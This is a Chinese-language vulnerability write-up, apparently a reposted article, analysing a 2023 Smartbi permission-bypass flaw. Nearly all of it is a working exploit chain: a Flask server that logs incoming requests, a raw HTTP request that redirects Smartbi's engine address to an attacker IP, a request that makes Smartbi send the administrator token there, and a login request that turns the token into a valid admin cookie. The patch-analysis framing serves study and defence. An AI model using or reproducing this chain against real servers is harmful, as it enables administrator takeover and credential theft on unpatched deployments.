2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。
0x01分析结果
依据补丁分析,得到如下漏洞复现步骤
第一步,设置EngineAddress为攻击者机器上的http服务地址
首先使用python flask搭建一个fake server,上面只注册了/api/v1/configs/engine/smartbitoken接口,该接口返回一个json响应体。
from flask import Flask,jsonify,request
app = Flask(__name__)
@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():
print(request.json)
return jsonify(hi="jello")
if __name__ == "__main__":
app.run(host="0.0.0.0",port=8000)
使用如下poc,设置EngineAddress为我们的fake server地址http://10.52.32.43:8000,
POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23
http://10.52.32.43:8000
第二步,触发smartbi向我们刚刚设置的EngineAddress外发token
发送如下请求:
POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10
experiment
发送相关请求后,即可在我们的fake server上面看到了携带token的请求。
第三步,使用上面获取的token进行登录
POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47
admin_I8ac3b2d10189e80fe80fea750189ed0084f50082
返回true表示登录成功,其中的cookie就是合法的凭证。
本文内容不用于商业目的,如涉及知识产权问题,请权利人联系51Testing小编(021-64471599-8017),我们将立即处理